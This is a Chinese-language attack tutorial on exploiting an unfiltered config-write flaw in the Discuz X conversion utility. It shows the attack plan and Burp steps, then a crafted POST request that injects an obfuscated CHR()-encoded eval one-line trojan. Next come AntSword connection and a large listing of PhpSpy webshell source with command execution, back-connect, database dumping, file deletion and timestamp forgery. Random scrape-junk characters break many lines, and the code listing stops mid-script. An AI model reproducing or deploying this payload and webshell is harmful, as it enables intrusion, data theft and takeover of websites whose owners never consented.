网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
8 s  l! P9 N( I; U3 t1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
2 O; e' H! R) P3、传上去后，得到apache用户普通权限，再提权成root
. I) g& k4 B, |$ j) B- }) [概述：
这突破在一个DZ X系列自带的转换工具里面。
漏洞路径：utility / convert / data / config.inc.php
漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
$ P* }9 L5 H' m1 \3 m2 c) P触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
; ]8 k; N9 Q. ]. p* x" F9 F# j$ M% W攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
* @( ^5 z1 ]- `: f2 I

2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
3 d7 X; M* |, P% B! t
8、通过中国蚁剑上传大码
  D$ _4 A) ~, [) d* X# d

2 o( J# T. B! L# f- N10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   ! i5 F, ^  _# P% v' {
2. 
   
3. /*****************************************************************************
   
4. 
   
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   3 E4 B5 w+ c: s2 [2 U- B
6. 
   7 ^. y3 E( l; A" ?& E/ f( S
7. ====
   
8. 
   9 b. {- d# B9 h9 _5 b& `
9. 
   
10. *****************************************************************************/
    : R5 l1 K8 T) H" y; T8 G  Y
11. 
    " u; J8 t, o7 r: s
12. error_reporting(7);
    - ?  Y: B7 r6 J( Y) J# h% I2 L' F
13. @set_magic_quotes_runtime(0);
    1 g) k' d  i* L
14. ob_start();
    7 E2 i4 I6 h) d; F8 n7 I, z% D. l) |
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    % q& S" C4 C8 u* B: T! F
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    ! c1 K9 _- c; _6 E% y. M
21. define('IS_GPC', get_magic_quotes_gpc());
    
22. $dis_func = get_cfg_var('disable_functions');
    
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    1 `; b2 h5 z! s: l$ q
24. @set_time_limit(0);
    1 e- J% ~% g5 F: L6 N
25. 
    
26. foreach(array('_GET','_POST') as $_request) {
    # A& f' v- R& |. X" ]+ b
27.         foreach($$_request as $_key => $_value) {
    ! ]  p' J" V! D7 T. a6 Z: a
28.                 if ($_key{0} != '_') {
    ( |% b2 B% Y6 @/ k
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    ( g$ [, Z4 v/ F0 i- D7 t4 t( J. K7 D
31.                         }
    
32.                         $$_key = $_value;
    
33.                 }
    9 w4 S' U0 ~( |, j8 H! X7 n* s
34.         }
    
35. }
    . o2 J" y. R4 ?# O; _2 m
36. 
    2 Y# Z. c5 |5 B1 z: ?  A1 z
37. /*===================== 程序配置 =====================*/
    
38. $admin = array();
    
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    6 d3 G4 @( L9 r% b" ]
40. $admin['check'] = true;
    
41. // 如果需要密码验证,请修改登陆密码
    2 b/ R; z* W% y9 T  a$ _  G
42. $admin['pass']  = 'xuegod';
    * d! G& V# b. L& P5 U8 N8 O
43. 
    - \1 A2 \; {, Q' F
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    
45. // cookie 前缀
    
46. $admin['cookiepre'] = '';
    
47. // cookie 作用域
    
48. $admin['cookiedomain'] = '';
    2 H+ ~  v6 v& P& ]- ^5 S
49. // cookie 作用路径
    / L9 }+ H( u$ H* j5 U
50. $admin['cookiepath'] = '/';
    + g$ E# n  S8 o  r8 v9 N" t
51. // cookie 有效期
      M+ s- y. c; w& @( H* M' K
52. $admin['cookielife'] = 86400;
    $ o6 u8 [, w. P) S
53. /*===================== 配置结束 =====================*/
    
54. 
    0 E3 U5 j  Z1 f: ]0 ]- G
55. if ($charset == 'utf8') {
    + j1 S1 P: @" b, x
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    % `+ |7 |5 y' [3 L$ U2 E
58.         header("content-Type: text/html; charset=big5");
    
59. } elseif ($charset == 'gbk') {
    
60.         header("content-Type: text/html; charset=gbk");
    1 e6 V; i/ E. \5 J1 j  X; D0 o
61. } elseif ($charset == 'latin1') {
    ( ^+ F2 n/ b& H3 E5 |
62.         header("content-Type: text/html; charset=iso-8859-2");
      v5 a/ g4 N. j" m1 P' G5 a
63. }
    
64. 
    
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    
66. $timestamp = time();
    ' p) \5 i4 M2 J
67. 
    
68. /*===================== 身份验证 =====================*/
    9 P8 `  B! J+ B# |+ ]0 j
69. if ($action == "logout") {
    
70.         scookie('phpspypass', '', -86400 * 365);
    2 @# H6 I" }/ X+ F, o; o1 r' I
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    9 W- N  W2 ?' Z' M1 d' Z
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ( O) A9 t' }6 i
73.         exit;
    ) [% |. f( v- o9 k5 v  l/ ?' M
74. }
    
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    - W$ g4 j) |2 X0 ^5 q
77.                 if ($admin['pass'] == $password) {
    
78.                         scookie('phpspypass', $password);
    
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
81.                         exit;
    3 I9 {8 y5 N( _& A; Y0 {
82.                 }
    3 }) m4 G+ o0 D1 Q5 \& f
83.         }
    & Q/ W! t5 U  ]9 [$ ~/ {4 ^1 d
84.         if ($_COOKIE['phpspypass']) {
    
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    
87.                 }
    
88.         } else {
    3 L1 j. z7 E& h- |9 Z" t
89.                 loginpage();
    + I' ?- x  f( |; d- i& ]+ G; X
90.         }
    
91. }
    
92. /*===================== 验证结束 =====================*/
    ! U! y1 \& m9 w0 s
93. 
    
94. $errmsg = '';
    
95. 
    ; K1 k) P6 J; O5 D. G! W
96. // 查看PHPINFO
    3 Q3 X" U  P$ D- o7 H! [- O# h6 K; M
97. if ($action == 'phpinfo') {
    
98.         if (IS_PHPINFO) {
    
99.                 phpinfo();
    
100.         } else {
     
101.                 $errmsg = 'phpinfo() function has non-permissible';
     5 E3 \' D* c) e, f
102.         }
     % G, h+ p% I' A. v. \
103. }
     
104. 
     5 L+ `1 }4 Y# `9 g" r6 `! F
105. // 下载文件
     
106. if ($doing == 'downfile' && $thefile) {
     
107.         if (!@file_exists($thefile)) {
     
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
       E2 r8 H0 b  V8 b  x! I, V
109.         } else {
       g3 U* M  k" Z, w
110.                 $fileinfo = pathinfo($thefile);
     % k4 a3 U' r, B& B3 [5 f, t
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     . \- }3 }% \5 E
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     * _6 I! D( z/ t
113.                 header('Content-Length: '.filesize($thefile));
     
114.                 @readfile($thefile);
     # p$ d2 t( w  `+ m  F+ P# f2 S& u
115.                 exit;
     
116.         }
     + S& g0 J* g, t: X8 W' y
117. }
     9 o# O2 C0 u/ [
118. 
     ' P$ X. b  C' L, M
119. // 直接下载备份数据库
     
120. if ($doing == 'backupmysql' && !$saveasfile) {
     & O$ e$ u4 l4 ?# p
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
122.         $table = array_flip($table);
     
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     & b/ F5 Q7 V! @, q( {
126.         header('Content-type: application/unknown');
     , m8 m7 x9 G% G) V
127.         header('Content-Disposition: attachment; filename='.$filename);
     
128.         $mysqldata = '';
     
129.         while ($currow = mysql_fetch_array($result)) {
     
130.                 if (isset($table[$currow[0]])) {
     
131.                         $mysqldata .= sqldumptable($currow[0]);
     
132.                 }
     
133.         }
     5 [; L2 K% U7 t
134.         mysql_close();
     % Z' C( J- B9 B: }
135.         exit;
     ) g) {2 f1 M8 J: z$ [# C5 h4 m
136. }
     
137. 
     
138. // 通过MYSQL下载文件
     7 N! e! ~. B6 J/ J; B" S
139. if($doing=='mysqldown'){
     : z' e5 U& y$ j3 \( R  Q7 V0 F
140.         if (!$dbname) {
     
141.                 $errmsg = 'Please input dbname';
     # H! i4 i; ~4 s' L- t. D7 p
142.         } else {
     / Q. i& i% e; j  V# N- b+ e
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     * t5 i" W3 z; f1 [( a* ?5 n6 v4 k- E
144.                 if (!file_exists($mysqldlfile)) {
     " Q# ~& O+ S/ H
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     
146.                 } else {
     " n+ D7 d4 x4 T- R" F, E1 X0 ~
147.                         $result = q("select load_file('$mysqldlfile');");
     - K7 U; e. ?/ E6 T6 j0 S
148.                         if(!$result){
     
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     
153.                                 $result = q("select content from tmp_angel");
     
154.                                 q("DROP TABLE tmp_angel");
     % B) `, X1 E( x" E& r8 a% r
155.                         }
     5 D) g9 H! _+ o# o; m( r( T+ }
156.                         $row = @mysql_fetch_array($result);
     7 `  B+ \4 `( U# G
157.                         if (!$row) {
     % Z# a! @( g# Q% r( Y
158.                                 $errmsg = 'Load file failed '.mysql_error();
     
159.                         } else {
     
160.                                 $fileinfo = pathinfo($mysqldlfile);
     * t6 B$ A* A6 ~- {/ i6 o) L" ~
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     , h' G, z1 J* r! Y
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     % {, L  v5 R; `
163.                                 header("Accept-Length: ".strlen($row[0]));
     ( w2 O% s& \* Q8 `9 Q2 j/ {
164.                                 echo $row[0];
     
165.                                 exit;
     
166.                         }
     . n# {5 S* _8 |1 d. B
167.                 }
     
168.         }
     
169. }
     9 K! f/ s" q* i
170. 
     
171. ?>
     
172. <html>
     
173. <head>
     
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     ' b, O7 o. v+ Z) X4 E  G
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     - b  J6 H4 p% Y, k
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     * e- A1 N7 Y' @4 j  |1 R( _5 D
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     
181. a {color: #00f;text-decoration:underline;}
     
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     6 s$ }1 n* w& d! m) o9 d! c
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     + K8 ~- D0 A  {
187. .head td span{font-weight:normal;}
     
188. form{margin:0;padding:0;}
     
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     2 @7 {0 B% q4 ]( f+ G# h
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
     
195.         for(var i=0;i<form.elements.length;i++) {
     $ b5 r8 M9 ?4 _1 S* f9 M' E
196.                 var e = form.elements[i];
     / l1 s' d+ I* l8 W8 o. I7 ~6 p
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     * M  m6 i% ]) h3 ]
199.     }
     
200. }
     
201. function $(id) {
     2 h7 D! ^0 b3 {6 C
202.         return document.getElementById(id);
     
203. }
     
204. function goaction(act){
     , r# Y0 G- q% n8 }4 @
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     ; q2 B/ u& ~  h7 f8 M
207. }
     
208. </script>
     
209. </head>
     : i' m; _' J0 g: N% q4 h
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     5 w5 k5 o& p2 ~) J" c
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     3 p4 J6 D0 K- u! E- o
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     " z' _/ L2 f& R& P4 e1 f* s
214.         </tr>
     
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     & A0 q& Q* g6 y' s5 E* |/ X
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     9 q4 K- |) F4 k& Z7 B  l
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     ) v7 M* w- R" S& L& ^
225.                 </td>
     , P: Z- d/ f1 K5 K5 `; ~
226.         </tr>
     
227. </table>
     
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     
229. <?php
     
230. 
     
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     % d% Z7 |& k& a- u
233. formfoot();
     
234. 
     : s; b. {: X. j2 y
235. $errmsg && m($errmsg);
     
236. 
     
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     
239. $nowpath = getPath(SA_ROOT, $dir);
     " p" w1 g# n! h( w# B9 G
240. if (substr($dir, -1) != '/') {
     
241.         $dir = $dir.'/';
     9 R2 X% r" i8 d' x
242. }
     
243. $uedir = ue($dir);
     
244. 
     
245. if (!$action || $action == 'file') {
     
246. 
     
247.         // 判断读写情况
     
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     9 T% g, e2 k9 m% c6 p- [, }
249. 
     + v/ B" G" t. x3 j4 l
250.         // 删除目录
     - ?  w3 a5 c2 r& I7 G
251.         if ($doing == 'deldir' && $thefile) {
     1 x1 |) D: ?4 H
252.                 if (!file_exists($thefile)) {
     3 \, l, ~, F  ^6 S1 q% B
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     " F# K9 W5 F: g0 n. E
256.                 }
     5 j) I* X  _8 m) L
257.         }
     
258. 
     - W3 O$ D0 ~3 s- `0 V. ^8 l* e
259.         // 创建目录
     - ]: C( J) S0 m$ @$ Y) E0 V
260.         elseif ($newdirname) {
     
261.                 $mkdirs = $nowpath.$newdirname;
       I: b0 D* a/ m8 x
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     
264.                 } else {
     
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     # d$ q4 K2 T0 N! r( y% g1 K
266.                         @chmod($mkdirs,0777);
       @$ Y; t) D5 n8 A. E# j: \4 R
267.                 }
     , c9 p  X6 \- n* C: O  G
268.         }
     : n7 b! l- i9 X& F# \! k; y3 \
269. 
     
270.         // 上传文件
     
271.         elseif ($doupfile) {
     
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     * `& Y2 F% |) l7 n% K5 s
274. 
     " G6 H9 k' Z, [/ }) ~/ }& j- L
275.         // 编辑文件
     
276.         elseif ($editfilename && $filecontent) {
     : ]) u$ H5 y4 `8 J
277.                 $fp = @fopen($editfilename,'w');
     1 ^! p9 s! {/ r
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     2 _' W/ \( j7 M, y& z
279.                 @fclose($fp);
     
280.         }
     5 ~- C( E# r2 Z9 k
281. 
     $ Y6 v2 p' p+ U' C4 O" a! h
282.         // 编辑文件属性
     
283.         elseif ($pfile && $newperm) {
     
284.                 if (!file_exists($pfile)) {
     
285.                         m('The original file does not exist');
     
286.                 } else {
     
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     
289.                 }
     ; J0 J. a+ V9 I
290.         }
     3 a# E1 b& X4 i; ^
291. 
     
292.         // 改名
     / J# `6 @% [% E! \
293.         elseif ($oldname && $newfilename) {
     
294.                 $nname = $nowpath.$newfilename;
     ' A. e. e$ W5 }5 G- O7 [) q
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     ' g0 Q2 Q0 n6 k9 T, H
296.                         m($nname.' has already existed or original file does not exist');
       C; L, |/ z$ P+ a  z# O3 m2 x
297.                 } else {
     6 {/ P2 ^% V2 p" J4 G
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     % _7 @, N1 X- t
299.                 }
     
300.         }
     9 s# Y. x: o2 i
301. 
     ( H* {8 d4 o  L7 A
302.         // 复制文件
     
303.         elseif ($sname && $tofile) {
     
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     1 q1 ?3 K! U$ H, B2 R
306.                 } else {
     
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     , J0 I: `9 p& ]7 H$ L, J0 p% k
308.                 }
     ( [% }, L: K! L5 s7 N* G2 L( j! C
309.         }
     . D& h+ i5 F: K  J* \" T4 ~
310. 
     6 Q) C; `% u: X7 b# x  B
311.         // 克隆时间
     * @, S# g/ p$ b+ |# i
312.         elseif ($curfile && $tarfile) {
     . f9 e4 D8 f- M2 t# t! ]! m
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     6 p! j) W1 L2 \& k) {- e# ?6 E9 O4 t
314.                         m('The goal file has already existed or original file does not exist');
     
315.                 } else {
     ; ]/ K: G. L+ I9 s7 g
316.                         $time = @filemtime($tarfile);
     7 ?, X7 g5 g$ J) t
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     
319.         }
     / q0 T; J/ j, R6 `( h
320. 
     . O4 p8 G+ b( l7 t2 Y9 {! u
321.         // 自定义时间
     
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     ! |, @( O/ r2 i
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
328.                 }
     # l8 B( F2 x. h# U/ }
329.         }
     0 j6 d& W& g( S( R% B( u- D' L- z! f
330. 
     
331.         // 打包下载
     
332.         elseif($doing == 'downrar') {
     $ d( ]4 z- u1 M+ c- K" A; u0 z
333.                 if ($dl) {
     
334.                         $dfiles='';
       S0 D& f) k0 h' |
335.                         foreach ($dl as $filepath => $value) {
     
336.                                 $dfiles.=$filepath.',';
       x0 ]/ K& B+ j6 Y# M& o, i) ^
337.                         }
     ; `9 n  v1 s7 v5 l5 o
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     , i& h! r2 Z- C. g- p& V2 O  W6 p
339.                         $dl=explode(',',$dfiles);
     3 f0 k# [; M- Z! D
340.                         $zip=new PHPZip($dl);
     
341.                         $code=$zip->out;
     ( {2 v3 |9 w& Y
342.                         header('Content-type: application/octet-stream');
     
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     0 T, r4 D) _  g
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     
346.                         echo $code;
     
347.                         exit;
     
348.                 } else {
     
349.                         m('Please select file(s)');
     
350.                 }
     
351.         }
     ( @* Z- E/ D' l. g
352. 
     3 j" V3 T5 s0 d  j! u" l' k; X
353.         // 批量删除文件
     " c  Q% t9 i  y1 N; Z0 V
354.         elseif($doing == 'delfiles') {
     
355.                 if ($dl) {
     
356.                         $dfiles='';
     
357.                         $succ = $fail = 0;
     5 c3 F4 g) q$ R& D: g4 Y" B
358.                         foreach ($dl as $filepath => $value) {
     % n3 n" z9 i9 L& E% a. o
359.                                 if (@unlink($filepath)) {
     
360.                                         $succ++;
     7 `( g/ c7 {; B7 ]; @: C: X! v) U
361.                                 } else {
     " |9 H4 R/ K+ o9 L% ~& n
362.                                         $fail++;
     
363.                                 }
     
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     
366.                 } else {
     
367.                         m('Please select file(s)');
     1 {& d1 U" \. ~5 h% d; C
368.                 }
     / I, {* A- H  ~
369.         }
     
370. 
     
371.         //操作完毕
     1 |( A, K- g5 \
372.         formhead(array('name'=>'createdir'));
     - ~0 t) Y3 d: F4 Q" j- V. j
373.         makehide('newdirname');
     : Q4 `3 Z( ]. R& c9 z6 b
374.         makehide('dir',$nowpath);
     
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     ! `( X7 i0 L& ?. K3 l  t& ]. ^
377.         makehide('newperm');
     
378.         makehide('pfile');
     9 S/ r% Y; S* E5 J" Q
379.         makehide('dir',$nowpath);
     0 V6 k7 ~% J) b" r% K( d2 v5 w
380.         formfoot();
     
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     5 A2 E! S- ~6 f  b1 k
383.         makehide('tofile');
     $ S9 |; l7 Q- k' [7 b2 R/ m, y
384.         makehide('dir',$nowpath);
     
385.         formfoot();
     - z- n% d: u# M6 N6 H& ?6 s
386.         formhead(array('name'=>'rename'));
       Q' m- T/ P2 e- C5 B
387.         makehide('oldname');
     
388.         makehide('newfilename');
     " k/ V* V" o! ~3 {3 W
389.         makehide('dir',$nowpath);
     6 P  K- |- l' \( F9 ^
390.         formfoot();
     
391.         formhead(array('name'=>'fileopform'));
     
392.         makehide('action');
     
393.         makehide('opfile');
     1 z# I* `7 F4 q( y7 }3 b3 ^
394.         makehide('dir');
     
395.         formfoot();
     
396. 
     5 Y& `2 ?+ n9 x$ f1 }2 v
397.         $free = @disk_free_space($nowpath);
     
398.         !$free && $free = 0;
     6 Y- r3 |2 m, i$ \% Q+ ?, I
399.         $all = @disk_total_space($nowpath);
     
400.         !$all && $all = 0;
     ( j" _! D6 Q# A
401.         $used = $all-$free;
     
402.         $used_percent = @round(100/($all/$free),2);
     
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     
404. 
     7 \% v( u# r2 N% u+ [+ h: `
405. ?>
     
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     / t* @5 b' K6 H0 q9 o# Q% ?3 C
407.   <form action="" method="post" id="godir" name="godir">
     & {: |# f1 s9 {& ]: M6 R; I' K; Q
408.   <tr>
     + l; Q1 F) y# S9 f1 {, _
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     $ r! F* i0 T5 m. t  j3 l# m
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     
412.   </tr>
     
413.   </form>
     
414. </table>
     
415. <script type="text/javascript">
     
416. function createdir(){
     # m7 c+ N* _$ K
417.         var newdirname;
     4 ]8 T& |  e# e. {8 W
418.         newdirname = prompt('Please input the directory name:', '');
     6 W7 M4 D; _; ?5 Q) l$ V% v
419.         if (!newdirname) return;
     4 V! i' u5 _) ]4 m
420.         $('createdir').newdirname.value=newdirname;
     
421.         $('createdir').submit();
     & v2 v( T: g# N
422. }
       O+ X, y+ C0 P; ^3 z4 X
423. function fileperm(pfile){
     8 ]" b: i4 V6 ~+ `$ M! s8 N
424.         var newperm;
     & d/ S. `7 L. g: o& `; v- S9 D
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     * }9 X7 J% n) I: N
426.         if (!newperm) return;
     ( t3 ]4 R8 o; h! |+ n
427.         $('fileperm').newperm.value=newperm;
       t6 e2 ]( J4 p% Q' g: E; N& y( r
428.         $('fileperm').pfile.value=pfile;
     ! W) v( I! U6 S' L! d: u9 c6 n
429.         $('fileperm').submit();
     8 E: P0 u" }" M. ?# {' J6 d: S. [
430. }
     , ~7 P' W# O( C
431. function copyfile(sname){
     
432.         var tofile;
     7 b1 [7 _) R# z& V# K2 d: e# }
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     
434.         if (!tofile) return;
     
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
       u* L. Y$ |# n& Z. K$ G& {
437.         $('copyfile').submit();
     
438. }
     
439. function rename(oldname){
     
440.         var newfilename;
     8 Z% q9 z# g% Q  v
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     
442.         if (!newfilename) return;
     3 q! B* U" }4 }
443.         $('rename').newfilename.value=newfilename;
     
444.         $('rename').oldname.value=oldname;
     
445.         $('rename').submit();
     
446. }
     # t' t4 ]7 L/ q9 R
447. function dofile(doing,thefile,m){
     / {) f6 w. ]( T/ \6 G& n' T
448.         if (m && !confirm(m)) {
     
449.                 return;
     
450.         }
     
451.         $('filelist').doing.value=doing;
     
452.         if (thefile){
     " {4 ]# T8 \7 J2 ~
453.                 $('filelist').thefile.value=thefile;
     + L) V; [8 U" u0 ~
454.         }
     & l5 n, t$ i& Q" o
455.         $('filelist').submit();
     - ~9 |* k& c8 H( H6 a. Q. M
456. }
     
457. function createfile(nowpath){
     
458.         var filename;
     
459.         filename = prompt('Please input the file name:', '');
     $ b: f$ Q$ j* G1 u- `
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     
463. function opfile(action,opfile,dir){
     , H( {! O! T% w( S6 ]( e. T
464.         $('fileopform').action.value=action;
     $ p# W4 C0 L5 o8 R
465.         $('fileopform').opfile.value=opfile;
     $ k5 q3 Z, T1 [% v) `' ~6 Z0 Q& `
466.         $('fileopform').dir.value=dir;
     1 _& I4 h# P' J0 A7 f/ h! L
467.         $('fileopform').submit();
     
468. }
     
